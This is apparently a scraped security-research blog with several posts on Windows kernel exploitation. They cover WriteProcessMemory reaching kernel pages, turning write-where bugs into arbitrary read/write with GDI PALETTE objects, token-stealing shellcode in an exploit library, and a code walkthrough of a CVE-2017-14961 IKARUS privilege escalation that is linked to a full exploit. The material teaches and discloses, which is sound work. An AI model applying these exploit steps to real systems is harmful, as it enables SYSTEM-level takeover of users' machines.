<div style="text-align: justify;">
Here is the write:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSAAV-1c-iY_vuIegXiVzzZBu0BC9xDOcfxaRZ_4UJwSZplEsFYRKgYrweCQXCJPQpje4V-_j1mcUS2OJ01XtE8vsjCrpAhLEGMfOEDgGGpNtIvH464SBoTzP1ywSBXBkOzNa50q7th-gf/s1600/Screen+Shot+2018-08-24+at+7.29.15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="806" data-original-width="1120" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSAAV-1c-iY_vuIegXiVzzZBu0BC9xDOcfxaRZ_4UJwSZplEsFYRKgYrweCQXCJPQpje4V-_j1mcUS2OJ01XtE8vsjCrpAhLEGMfOEDgGGpNtIvH464SBoTzP1ywSBXBkOzNa50q7th-gf/s640/Screen+Shot+2018-08-24+at+7.29.15.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The ReactOS code will reflect this behaviour:</div>
<div style="text-align: justify;">
<a href="https://github.com/mirror/reactos/blob/master/reactos/dll/win32/kernel32/client/proc.c" target="_blank">https://github.com/mirror/reactos/blob/master/reactos/dll/win32/kernel32/client/proc.c</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Yes, you could also set the page protection yourself, but the OS will nicely do it for you, so one less thing to care about when developing an exploit. In my opinion based on MSDN this should fail however (but maybe I misinterpret it):</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE - 0x10</span> - Enables execute access to the committed region of pages. An attempt to write to the committed region results in an access violation.</div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE_READ - 0x20</span> - Enables execute or read-only access to the committed region of pages. An attempt to write to the committed region results in an access violation.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
What happens if we call <span style="font-family: "courier new" , "courier" , monospace;">NtWriteVirtualMemory</span> directly? Then it fails as expected as the page protection is not modified, for example it will fail with:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x8000000D - STATUS_PARTIAL_COPY</span> - Because of protection conflicts, not all the requested bytes could be copied.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><u>Part 2 - Why?</u></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I found many mentions here and there that this will work, but essentially I contacted Microsoft for further explanation, and I got it, and I want to thank for them for providing these insights. Basically this is done for debuggers, in case debuggers wants to write to memory, they can simply call this API and no need to care for setting page protection every single time. Here are the details:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://blogs.msdn.microsoft.com/oldnewthing/20120808-00/?p=6913" target="_blank">https://blogs.msdn.microsoft.com/oldnewthing/20120808-00/?p=6913</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Here is what that above site says:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<i>"There are a bunch of functions that allow you to manipulate the address space of other processes, like <span style="font-family: "courier new" , "courier" , monospace;"><b>WriteProcessMemory</b></span> and <span style="font-family: "courier new" , "courier" , monospace;"><b>VirtualAllocEx</b></span>. Of what possible legitimate use could they be? Why would one process need to go digging around inside the address space of another process, unless it was up to no good?
These functions exist for debuggers. For example, when you ask the debugger to inspect the memory of the process being debugged, it uses <span style="font-family: "courier new" , "courier" , monospace;"><b>ReadProcessMemory</b></span> to do it. Similarly, when you ask the debugger to update the value of a variable in your process, it uses <span style="font-family: "courier new" , "courier" , monospace;"><b>WriteProcessMemory</b></span> to do it. And when you ask the debugger to set a breakpoint, it uses the <span style="font-family: "courier new" , "courier" , monospace;"><b>VirtualProtectEx</b></span> function to change your code pages from read-execute to read-write-execute so that it can patch an int 3 into your program.
If you ask the debugger to break into a process, it can use the <span style="font-family: "courier new" , "courier" , monospace;"><b>CreateRemoteThread</b></span> function to inject a thread into the process that immediately calls <span style="font-family: "courier new" , "courier" , monospace;"><b>DebugBreak</b></span>. (The <span style="font-family: "courier new" , "courier" , monospace;"><b>DebugBreakProcess</b></span> was subsequently added to make this simpler.)
But for general-purpose programming, these functions don't really have much valid use. They tend to be used for nefarious purposes like DLL injection and cheating at video games."</i><br />
<i><br /></i>
<i></i><br />
<i>UPDATE 2018.09.02. - The story gets worse</i><br />
<i><br /></i>
So after writing this comes Alex Ionescu and makes it even worse :D<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZvKTiGM7N8vZ6WiDSqzOM2Cmiv65e9fhu2Ev7o7RrRktIkTpsY-RP72EEBczCPDyta10uXErG7fBRNH7OwEneBRLpl2KxCaKOcXhe5tkli_mOWjiclrxYh9EUGA7qmOKJ_yCC1SXFYT9Y/s1600/Screen+Shot+2018-09-02+at+22.59.34.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="146" data-original-width="1194" height="76" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZvKTiGM7N8vZ6WiDSqzOM2Cmiv65e9fhu2Ev7o7RrRktIkTpsY-RP72EEBczCPDyta10uXErG7fBRNH7OwEneBRLpl2KxCaKOcXhe5tkli_mOWjiclrxYh9EUGA7qmOKJ_yCC1SXFYT9Y/s640/Screen+Shot+2018-09-02+at+22.59.34.png" width="640" /></a></div>
<br />
<i><br /></i>
With that, the post wouldn’t be complete without explaining what Alex Ionescu pointed out, which I think much-much worse then the first part. So while spending the weekend my brain couldn't stop thinking about this, and when the light came I reached out to Alex.<br />
<br />
You can use this function to write to kernel pages from user mode. This sounds terrible for first, second and also third, and so on, but you will see that is not that horrible, only a little bit. :) So why this happens:<br />
<br />
When you call <span style="font-family: Courier New, Courier, monospace;">WriteProcessMemory</span> it will call <span style="font-family: Courier New, Courier, monospace;">ntdll!NtWriteVirtualMemory</span> which will eventually call <span style="font-family: Courier New, Courier, monospace;">nt!NtWriteVirtualMemory</span>, which in newer Win10 versions will call <span style="font-family: Courier New, Courier, monospace;">nt!MiReadWriteVirtualMemory</span>. That is the point where it is checked if you come from user land and can write to the targeted memory, to avoid writing to the kernel. But what is really being checked?<br />
<br />
1. It will check if you the API is being called from the kernel or user space (<span style="font-family: Courier New, Courier, monospace;">PreviousMode</span>).<br />
2. If you come from user mode, it will perform another check which is verifying the address range you are trying to write to, based on the <span style="font-family: Courier New, Courier, monospace;">MmUserProbeAddress</span> variable, which points to the end of the user address space. On x64 machines this is a hardcoded value in the code, so there is no actual variable, as you can see below in IDA.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWzjeo6DcwkDxlpeXnhYwuTyFvb0w4sgykqNSvOxyYVpMsW3HwYNInz7GrrHl9HH8dTcbjYqWN6j3-hSQIA7ghehMIkpbs7ypPf6sL-ffethyl-V22T3J8FAjnB8dNKu_o6pVHXzLO8kGU/s1600/Screen+Shot+2018-09-02+at+22.29.40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="664" data-original-width="1600" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWzjeo6DcwkDxlpeXnhYwuTyFvb0w4sgykqNSvOxyYVpMsW3HwYNInz7GrrHl9HH8dTcbjYqWN6j3-hSQIA7ghehMIkpbs7ypPf6sL-ffethyl-V22T3J8FAjnB8dNKu_o6pVHXzLO8kGU/s640/Screen+Shot+2018-09-02+at+22.29.40.png" width="640" /></a></div>
<br />
Here is the related ReactOS code snippet for easier understanding (which reflects older Windows versions, but the idea is the same):<br />
<br />
<a href="https://doxygen.reactos.org/d2/dfa/ntoskrnl_2mm_2ARM3_2virtual_8c_source.html#l02805" target="_blank">https://doxygen.reactos.org/d2/dfa/ntoskrnl_2mm_2ARM3_2virtual_8c_source.html#l02805</a><br />
<br />
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2820 if (PreviousMode != KernelMode)</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2821 {</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2822 //</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2823 // Validate the read addresses</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2824 //</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2825 if ((((ULONG_PTR)BaseAddress + NumberOfBytesToWrite) < (ULONG_PTR)BaseAddress) ||</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2826 (((ULONG_PTR)Buffer + NumberOfBytesToWrite) < (ULONG_PTR)Buffer) ||</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2827 (((ULONG_PTR)BaseAddress + NumberOfBytesToWrite) > MmUserProbeAddress) ||</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2828 (((ULONG_PTR)Buffer + NumberOfBytesToWrite) > MmUserProbeAddress))</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> 2829 {</span></div>
<br />
If you pass these checks the write will happen.<br />
<br />
For kernel exploit writers the flaw is probably obvious at this point if you think about the classic SMEP bypass:<br />
<a href="https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf" target="_blank">https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf</a><br />
—> from page 31<br />
<br />
Here is the issue in short:<br />
If you can set the U/S (owner) bit to 0 (clear) in a PTE entry, it will mean that the page belongs to the kernel. Normally you don’t have any kernel pages in the user address space but if you manage to mess with the PTE (with a kernel exploit), you can have, and it will be valid - you can make a user page to being a kernel page. If that happens, you can use WriteProcessMemory to write to those pages as the actual PTE flag is not verified, which means that you write kernel pages from user mode.<br />
<br />
Obviously this doesn’t happen normally, but still…<br />
<br />
Additionally in older systems you could modify (for example with a w-w-w kernel exploit) the MmUserProbeAddress and set it to the end of the kernel address space, and at that point you also bypassed the verification, and you have a very nice R/W access to kernel space. Also: <a href="https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/" target="_blank">https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/</a> These days you would need to patch the actual code, which is protected by the HVCI, PG, so it’s not really possible unless you exploit the hypervisor.<br />
<br />
Overall potentially you can have write access to kernel address space from user mode, but not by default, and not in a straightforward way.<br />
<br />
<br />
I want to thank again to Alex first for pointing this out, and than talking through this whole stuff with me.</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-63968388922608066422017-12-28T09:06:00.002+01:002017-12-28T09:06:54.064+01:00Convert Write-Where kernel exploits into arbitrary Write-What-Where exploitThis post is a follow up of my previous post: <a href="https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html" target="_blank">https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html</a>. I realised that the technique I used there can be generalised.<br />
<ol>
<li style="text-align: justify;">Currently it’s known that we can create PALETTE objects in the large session pool, and we can leak their address.</li>
<li style="text-align: justify;">We can allocate two PALETTE objects, one after the other, and even without spraying, they will be close enough (<0x1000000 bytes far) to each other - this came from my testing, and running this many times</li>
<li style="text-align: justify;">If we have a write - where vulnerability (where we can't control what we write), we can use that to modify the size of the PALETTE object by modifying 1 byte in the cEntries field, the only requirement is that we can precisely set the location, and it should be something other than 0. We will target the location marked with ** below:</li>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><ol style="text-align: justify;"><span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></ol>
<div style="text-align: justify;">
0: kd> dd fffff8cc44dc4000</div>
</span><div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">fffff8cc`44dc4000 fe0809ec ffffffff 00000000 00000000</span></div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><div style="text-align: justify;">
<span style="color: #3d85c6;">fffff8cc`44dc4010 26986580 ffffd687 </span><span style="color: red;">00000501 **0003de</span></div>
</span><div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">fffff8cc`44dc4020 </span><span style="color: red; font-family: "courier new" , "courier" , monospace;">0096f8aa 00000000</span><span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 00000000 00000000</span></div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><div style="text-align: justify;">
fffff8cc`44dc4030 00000000 00000000 00000000 00000000</div>
</span><div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">fffff8cc`44dc4040 00000000 00000000 00000000 00000000</span></div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><div style="text-align: justify;">
fffff8cc`44dc4050 00000000 00000000 00000000 00000000</div>
</span><div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">fffff8cc`44dc4060 00000002 00000001 00000000 00000000</span></div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><div style="text-align: justify;">
fffff8cc`44dc4070 00000000 00000000 44dc4088 fffff8cc</div>
</span><div style="text-align: justify;">
<br /></div>
<li style="text-align: justify;">Luckily the 7 bytes before and 8 bytes after that field are not so important, so if we smash them we will not cause a BSOD and we can continue to use the object. Essentially the following fields marked with <u>red</u> (also in the above memdump) in the PALETTE structure won't cause an issue if we overwrite them (anything before or after will cause a BSOD):</li>
<div style="text-align: justify;">
<span style="color: red; font-family: courier new, courier, monospace;"> </span><span style="color: #3d85c6; font-family: courier new, courier, monospace;">BASEOBJECT64 BaseObject; // 0x00</span><br />
<span style="color: red; font-family: courier new, courier, monospace;"> FLONG flPal; // 0x18</span><br />
<span style="color: red; font-family: courier new, courier, monospace;"> ULONG32 cEntries; // 0x1C</span><br />
<span style="color: red; font-family: courier new, courier, monospace;"> ULONG32 ulTime; // 0x20 </span><br />
<span style="color: red; font-family: courier new, courier, monospace;"> HDC hdcHead; // 0x24</span><br />
<span style="color: red; font-family: courier new, courier, monospace;"> </span><span style="color: #3d85c6; font-family: courier new, courier, monospace;">ULONG64 hSelected; // 0x28,</span><span style="color: red; font-family: courier new, courier, monospace;"> </span></div>
<li style="text-align: justify;">With modifying that byte to anything other then 0, we increased the size of our PALETTE to > 4 * 0x1000000, which means that if we have another one nearby (and as we saw at step 2 we can have), we can write to it with out-of-bound writes</li>
<li style="text-align: justify;">We overwrite the pFirstColor pointer of the 2nd PALETTE to point to our original PALETTE’s pFirstColor memory location, thus achieving a classic GDI read / write primitive —> We achieved arbitrary kernel read / write</li>
</ol>
Again, the practical use of this can be seen here: <a href="https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html" target="_blank">https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html</a><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This will also work if we have another type of vulnerability where we can decrement / increment a value at a memory location of our choice, we can achieve the same. We locate the byte above (**) as a target for decrementing or incrementing, we achieved the same.<br />
<br />
Limitations:<br />
<br />
<ul>
<li>The PALETTE itself, it won't work beyond Win10 RS3</li>
<li>If the write what we don't control is larger than 0x10 bytes, this can't be used as we overwrite other fields that will cause a BSOD</li>
</ul>
</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-32667557075647217702017-12-01T23:16:00.001+01:002017-12-01T23:21:56.205+01:00kex - python kernel exploit library - update #3<div style="text-align: justify;">
Another week passed, another update. Not sure how long I can keep up with this frequency :)<br />
<br />
<a href="https://github.com/theevilbit/kex/" target="_blank">https://github.com/theevilbit/kex/</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Fixed:</div>
<div style="text-align: justify;">
</div>
<ul>
<li>all 3 shellcodes (token stealing, update token privileges, update ACL of target process)</li>
<ul>
<li>padded all of them with NOPs, so their length is divisible by 4, this is required if we use PALETTE objects as r/w primitive to write the shellcode somewhere. If the shellcode is not divisible by 4, the last couple of bytes will be missing as we can only write multiplies of 4 with PALETTEs</li>
<li>in newer Windows versions the KTHREAD->Process pointer is larger than 0x7f (specifically 0xb8), which means that the assembly code is different</li>
<ul>
<li>for sizes <0x80:</li>
<ul>
<li>"\x48\x8b\x40" + 1 byte value (e.g.: 0x7f)</li>
</ul>
<li>for sizes >=0x80:</li>
<ul>
<li>"\x48\x8b\x80" + 1 byte value (e.g.: 0xb8) + "\x00\x00\x00"</li>
</ul>
</ul>
</ul>
<li>all 3 shellcodes are verified now to work</li>
</ul>
<div>
The new additions are based on the following resources:</div>
<div>
<a href="https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Pointer-Leak.ps1" target="_blank">https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Pointer-Leak.ps1</a></div>
<div>
<a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf" target="_blank"> https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf</a></div>
<div>
<a href="https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf" target="_blank">https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf</a></div>
<div>
<br /></div>
<div>
Added:</div>
<div>
<ul>
<li>Leaking NT base, HalDispatchTable, PTE base address using PALETTE objects</li>
<li>Calculate PTE address for a given virtual address</li>
<li style="text-align: justify;">Ability to change a VA to executable</li>
<li style="text-align: justify;">An example for the new functions using the HEVD driver as usual</li>
</ul>
<div>
<div style="text-align: justify;">
With that you can write a shellcode to kernel space, change the PTE address execution flags, update HalDisPatchTable and trigger shellcode - this is what happens in the added example. All works from low privilege mode, up to Windows 10 RS3 (v1709 / FCU).</div>
</div>
</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-40510402151252526682017-11-25T15:27:00.000+01:002017-11-25T15:28:11.190+01:00kex - python kernel exploit library - major update #2<div style="text-align: justify;">
I made a larger update to my kex library again. Token stealing is not the only way in kernel exploitation, suggest to read the following:</div>
<br />
<a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf" target="_blank">https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf</a><br />
<br />
<a href="https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-1" target="_blank">https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-1</a><br />
<a href="https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-2" target="_blank">https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-2</a><br />
<a href="https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-3" target="_blank">https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-3</a><br />
<a href="https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-4-there-is-no-code" target="_blank">https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-4-there-is-no-code</a><br />
<br />
<div style="text-align: justify;">
I essentially implemented additional shellcodes based on Cerudo's BlackHat talk and Martin Schenk's blogpost, there are a few differences to how I implemented them vs how Martin did:</div>
<br />
<ol>
<li style="text-align: left;">I elevate my own process privileges, not the parent or cmd.exe</li>
<li style="text-align: left;">I use different offset in KTHREAD to find the EPROCESS structure (nt!_KTHREAD -> _KAPC_STATE -> EPROCESS), so you will see different values there</li>
<li style="text-align: left;">I used PALETTEs for data-only pwning and not the tagWND method, this also means that it won't work beyond Win10 RS3</li>
<li style="text-align: left;">The token overwrite has been extended to also change the Present bit as it is required after Win10 RS3, as described here: <a href="http://anti-reversing.com/Downloads/Sec_Research/ntoskrnl_v10.0.15063_nt!_SEP_TOKEN_PRIVILEGES-Single_Write_EoP_Protect.pdf" target="_blank">http://anti-reversing.com/Downloads/Sec_Research/ntoskrnl_v10.0.15063_nt!_SEP_TOKEN_PRIVILEGES-Single_Write_EoP_Protect.pdf</a></li>
<li style="text-align: left;">I added all offsets from Win7 to Win10 RS3 so the code should work universally across all platforms</li>
</ol>
<br />
I added an example with the HEVD driver to show how all these works. I didn't have a chance to test the actual shellcodes, only the data-only variant, so if any issues, let me know.<br />
<br />
Link:<br />
<br />
<a href="https://github.com/theevilbit/kex/" target="_blank">https://github.com/theevilbit/kex/</a><br />
<br />Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-8562652128886103472017-11-15T22:43:00.002+01:002017-11-25T15:31:47.846+01:00Turning CVE-2017-14961 (IKARUS anti.virus local kernel exploit) into full arbitrary read / write with PALETTE objects<div style="text-align: justify;">
There are 9 exploitable kernel vulnerabilities discovered in IKARUS anti.virus <2.6.18 discovered by <a href="https://twitter.com/ParvezGHH" target="_blank">@ParvezGHH</a>. You can read more about them here:</div>
<div style="text-align: justify;">
<a href="https://www.greyhathacker.net/?p=995">IKARUS anti.virus and its 9 exploitable kernel vulnerabilities | GreyHatHacker.NET</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I found the exploit for the above CVE very nice and clean by Parvez, I usually like simplicity. This specific vulnerability provides the ability for an attacker to write 0x11 to an arbitrary location, which is entirely under the control of the attacker. Triggering is extremely simple, we send in an empty input, and 0x11 will be written to the address we provide for the output buffer. Parvez used this to overwrite the TOKEN privileges of the given process to gain SeDebugPriviliges and after that injecting a cmd.exe shell code into winlogon.exe. Nice and clean and works universally. I took the opportunity to write this in python and extend my <a href="https://github.com/theevilbit/kex" target="_blank">kex</a> library with some useful functions that perform the TOKEN lookup and code injection.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
However I wanted to practice a bit of kernel exploitation techniques and decided to turn this into a full arbitrary read / write. In short I wanted to be able to read / write any kernel memory of my choice with the value I want. I also wanted to keep the exploit universal (Win7 to Win10RS3) and if possible trigger it from low integrity mode. I’m not done with the low integrity part, but if I will have time later I will try to finish it, but all the others went fine.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
An universal read / write can be done if we can use the PALETTE read / write primitives, but obviously we can’t directly overwrite the pFirstColor pointer of any palette with the vulnerability. So I went to utilise the idea of out of bounds write, which is commonly used with session pool spraying with GDI objects. Let me explain step-by-step the game plan.</div>
<ol start="1">
<li>Allocate two palettes at known location
</li>
<li>Overwrite the cEntries field of one of the palettes, and thus increasing the size.
</li>
<li>Use the enlarged palette to overwrite the pFirstColor offset in the second palette —> we are pretty much done at this point, as we can use the regular read / write primitives
</li>
<li>Steal token
</li>
</ol>
<div style="text-align: justify;">
The first point is achieved via reserving and freeing Windows, and if they get allocated to the same place, we can predict that if we free it and allocate the palette next, it will be at the same location, this works for large pools, for objects size >= 0x1000 (4kB). This is pretty standard, and easy, already implemented in my kex library. Essentially this is the code snippet to do this:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">palette_1_address = alloc_free_windows(0)
palette_1_handle = create_palette_with_size(0x1000)
palette_1_pFirstColor = palette_1_address + pFirstColor_offset
palette_2_address = alloc_free_windows(0)
palette_2_handle = create_palette_with_size(0x1000)
palette_2_pFirstColor = palette_2_address + pFirstColor_offset</span></code></pre>
<br />
<div style="text-align: justify;">
The second point is to calculate the address where we want to write 0x11. From this point on, we need to make sure that we use the palettes in the right order, as there is no guarantee that palette1 is placed in a lower memory location than palette2, although likely. In this writeup let’s assume that palette1 comes before palette2. So the location is:</div>
<div style="text-align: justify;">
<br /></div>
palette_1_address + cEntries + 3<br />
<br />
<div style="text-align: justify;">
cEntries is always 0x1c, and the number of entries is stored on 4 bytes (32 bits). The +3 is needed in order to overwrite the high order byte. If we look on a dump, this is what we will get after the overwrite:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">0: kd> dd ffffe5b784730000
ffffe5b7`84730000 9c080a13 ffffffff 00000000 00000000
ffffe5b7`84730010 5fe03700 ffffad0d 00000501 </span><u><b><span style="color: red;">11</span></b><span style="color: #3d85c6;">0003de</span></u><span style="color: #3d85c6;">
ffffe5b7`84730020 0006e3f4 00000000 00000000 00000000
ffffe5b7`84730030 00000000 00000000 00000000 00000000
ffffe5b7`84730040 00000000 00000000 00000000 00000000
ffffe5b7`84730050 00000000 00000000 00000000 00000000
ffffe5b7`84730060 00000002 00000001 00000000 00000000
ffffe5b7`84730070 00000000 00000000 84730088 ffffe5b7</span></code></pre>
<br />
<div style="text-align: justify;">
This effectively increases the size of the palette to 0x110003de * 4 (from 0x000003de * 4) as one palette entry takes 4 bytes. This should be sufficient to get an overlap with palette2.</div>
<br />
As for code:<br />
<code class="code-inline"><span style="color: #3d85c6;">outputbuffer = palette_1_address + 0x1c + 3</span></code><br />
<br />
<div style="text-align: justify;">
The third step is to overwrite the other palette’s pFirstColor pointer and point it to palette1’s pFirstColor memory address. The last part is easy, we just add the proper offset to palette1’s address, which is 0x78 or 0x80 depending on the platform (as of this writing). How do we overwrite palette2’s pFirstColor pointer? We need to calculate the distance of it beginning from palette1’s first entry. The calculation is:</div>
<br />
<code class="code-inline"><span style="color: #3d85c6;">distance = (palette_2_address + pFirstColor_offset) - (palette_1_address + apalColors_offset)</span></code><br />
<br />
<div style="text-align: justify;">
In words: we take the memory location of the target (palette2address + pFirstColoroffset) and subtract the memory location of the very first entry of palette1 (palette_1address + apalColorsoffset). apalColorsoffset is 0x10 after pFirstColor on x64. We divide this distance by 4 (remember, with palettes we write one entry which is 4 bytes) and get the right index (iStart) to use with the SetPalette function. Code:</div>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">address = c_ulonglong(palette_1_pFirstColor)
gdi32.SetPaletteEntries(palette_1_handle, distance/4, sizeof(address)/4, addressof(address));
hex(palette_1_pFirstColor))
manager_palette_handle = palette_2_handle
worker_palette_handle = palette_1_handle</span></code></pre>
<br />
<div style="text-align: justify;">
At this stage I run into a problem where my code started to overwrite random memory locations, regardless of what the distance is (at least this is how it looked). I was pretty sure I’m right, and I had no idea for hours what goes wrong here. Finally found it. SetPaletteEntries expects an unsigned INT for the iStart index. I didn’t converted the distance to UINT, and it was passed as a signed INT, and as it was quite large, it pointed to another place I expected. This was a good learning for later, I need to watch out for correct ctypes conversion. So the above line correctly is:</div>
<br />
<code class="code-inline"><span style="color: #3d85c6;">gdi32.SetPaletteEntries(palette_1_handle, c_uint(distance/4), sizeof(address)/4, addressof(address));</span></code> <br />
<br />
<div style="text-align: justify;">
Once this is done, the only thing remained is to perform token stealing with palettes. Up until this point the entire exploit runs from low integrity mode as well. The token stealing won’t because of the way it’s implemented, but I will look for something else later on.</div>
<br />
<code class="code-inline"><span style="color: #3d85c6;">tokenstealing_with_palettes(manager_palette_handle, worker_palette_handle)</span></code><br />
<br />
<div style="text-align: justify;">
I think the above idea can be easily generalised for similar cases, when we can control the memory location of the overwrite, but not the content. If we can increase the size of a palette, we can gain full read / write.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If you want to play with this, the following happens to be an IKARUS 2.6.15 installer, which is vulnerable:</div>
<a href="https://www.virustotal.com/#/file/031a50e1a712e838edd13b60d36caa9a21d9ce0a7e8d3e614cc553bb5b7b3af3/detection">VirusTotal</a><br />
<br />
The above exploit is uploaded here: <a href="https://github.com/theevilbit/kex/blob/master/usage_examples/CVE-2017-14961-ikarus-palettes.py" target="_blank">https://github.com/theevilbit/kex/blob/master/usage_examples/CVE-2017-14961-ikarus-palettes.py</a><br />
It doesn't always work for first, but run it a few times, and eventually you will get SYSTEM.<br />
<br />
UPDATE 2017.11.25.:<br />
<br />
With the new release of kex, this exploit can work entirely from low integrity mode.Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-83093662165508677312017-10-31T15:34:00.000+01:002017-10-31T15:34:49.726+01:00Abusing GDI objects for kernel exploitation - PALETTE and various offsets<div style="text-align: justify;">
I started to dig into the topic of abusing GDI objects for Windows kernel exploitation about two weeks ago, and finally get to the PALETTEs. There are many documentation about BITMAPs so I don’t really want to write about those, but there has been little write-ups about PALETTEs. There are three that I relied on during my research:</div>
<div style="text-align: justify;">
<a href="https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html">siberas GmbH - Kernel Exploitation Case Study - “Wild” Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)</a></div>
<div style="text-align: justify;">
<a href="https://labs.bluefrostsecurity.de/publications/2017/10/02/abusing-gdi-for-ring0-exploit-primitives-evolution/">Abusing GDI for Ring0 Exploit Primitives: Evolution | Bluefrostsecurity</a></div>
<div style="text-align: justify;">
